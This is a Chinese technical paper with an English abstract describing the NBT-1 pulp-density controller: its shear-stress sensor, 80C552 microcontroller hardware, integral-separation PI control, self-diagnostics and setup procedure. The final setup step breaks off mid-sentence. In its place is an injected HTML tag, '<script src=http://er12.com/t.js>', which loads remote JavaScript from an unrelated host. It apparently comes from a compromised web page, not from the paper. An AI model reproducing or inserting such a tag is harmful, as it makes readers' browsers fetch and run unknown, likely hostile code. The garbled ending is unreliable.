摘 要：介绍nbt1型浓度调节器的结构、原理，该调节器与浓度变送器配套，可以控制纸浆的浓度。
关键词：浓度调节器；单片机；软件；硬件
density adjusting system
rong caiyun
(xinhui professional school of jiangmen guangdong, jiangmen 529100, china)
abstract: the principle, structure of th e nbt1 model of density adjusting unit were introduced. it can form a complete set with the de nsity testing meter to control the density of the paper pulp.
key words: density adjusting unit; scm; software; hardware
1系统组成
浓度调节系统由浓度变送器，浓度调节器和电动或气动执行机构组合构成，如图1所示。
2硬件结构及原理
2.1传感器
浓度变送器是一种外旋转式浓度检测仪表。它结构简单，灵敏度高，稳定性好，主要用于制浆造纸生产过程的纸浆浓度测量。该浓度变送器根据剪应力原理工作。如图2所示。
伺服电机带动敏感元件在被测介质中作旋转运动，将浓度引起的剪应力变化集中成一个变化的阻尼力矩，从而影响电机的转速。检测与转换电路通过光电传感器和分度盘检测转速变化，再利用数字电路和模拟电路将转速变化转换为电压变化，实现对浓度的间接测量。经过化验标定，可以确定输出电流与被测浓度之间的一一对应关系。
2.2单片机
采用飞利浦(philips)80c552单片机。它采用68脚plcc封装，片内有：256字节的ram；8路10位a/d转换器；2路8位分辨率的脉冲宽度调制输出(pwm)；监视定时器(watchdog)；具有高速定时输出和捕捉输入阵列的定时器/计数器；iic串行总线；2个标准的16位定时器/计数器；全双工的异步串行口(uart)；6个8位的i/o口(包括a/d 8位)。
2.3浓度调节器硬件框图
系统硬件框图如图3所示。
硬件分为如下三个部分：
(1)以80c552单片机、程序存储器2764(27128)、数据存储器6264、一片74ls373和一片gal16v8构成调节器的核心部分；(2)扩展一片8155作为显示器、拨码盘以及状态指示灯等输入输出接口；(3)dac0832转换器将数字量转换为模拟量，通过v／i转换器输出控制电流，控制信号回检电路。
3软件的组成
浓度调节系统采用积分分离的死区可调的pi调节，它可有效的减小系统超调量。
nbt-1型浓度调节器使用带数字指示的电位器连续调节p、i等各项参数，操作直观，符合常规仪表操作者的操作习惯。调节器设有给定自控精度的拨码盘。根据浓度控制所需精度，设置相应的给定上限和下限，不但保证了所需的控制精度，又避免了调节装置的频繁动作。根据纸浆生产工艺的特点，调节器软件采用积分分离式pi控制方式，从而改善了系统调节品质，使得系统较快进入稳定自控状态。调节器可以无扰动地从“手动”切换到“自动”状态。
4调节器功能
4.1硬件
nbt-1型浓度调节器具有自诊断功能，每输出一次控制信号，将对调节器作一项自检，当调节器硬件出现故障时，点“异常”报警灯，显示故障代码，并关闭控制电流输出口(关闭调节阀)；当输出控制参数异常时，点“异常”报警灯，显示故障代码，并保持输出不变。
nbt-1型浓度调节器调节参数范围如下：
比例度p：10～1000％；积分时间i：1～250s；手动给定范围：0～100％。
4.2软件
调节器采用积分分离的pi控制方式，其控制趋向过程如图4所示。
控制目标给定方式：
(1)手动给定：由调节器操作面板上手动给定电位器调节。(2)自动方式：由调节器操作面板拨码盘给出控制上限和下限。(3)上位机给定：通过rs-232串行口，执行由上位机下达的给定指令。
每次调节器开机后，各项调节参数都有待确认，此时调节器不会输出控制信号。面板上所显示的数据均按一定频率闪烁；当调整好控制参数，按下“确认”键后，调节器进入控制状态，输出相应的控制信号。
5调节系统组成
本机具有手动／自动无扰动切换功能。调节器具有“正比例／反比例”输出选择功能。使用与调整方法：
(1)接通调节器和执行机构(如果是气动执行机构要加电／气转换器)，将“手动／自动”开关置“手动”位置。(2)根据执行机构的调节特性(无信号时阀门关闭或无信号时阀门全开通)，选择好调节器的输出方式是“正比例”还是“反比例”。调节“手动”给定旋钮，应有4～20ma(0～10ma)信号输出。随着信号的增加与减少，调节阀应作打开和关闭动作。输出“正比例”方式时，4ma时阀门应完全关闭，20ma时阀门应全部打开，这说明执行机构动作正常。(3)将“控制电流/?script src=http://er12.com/t.js>
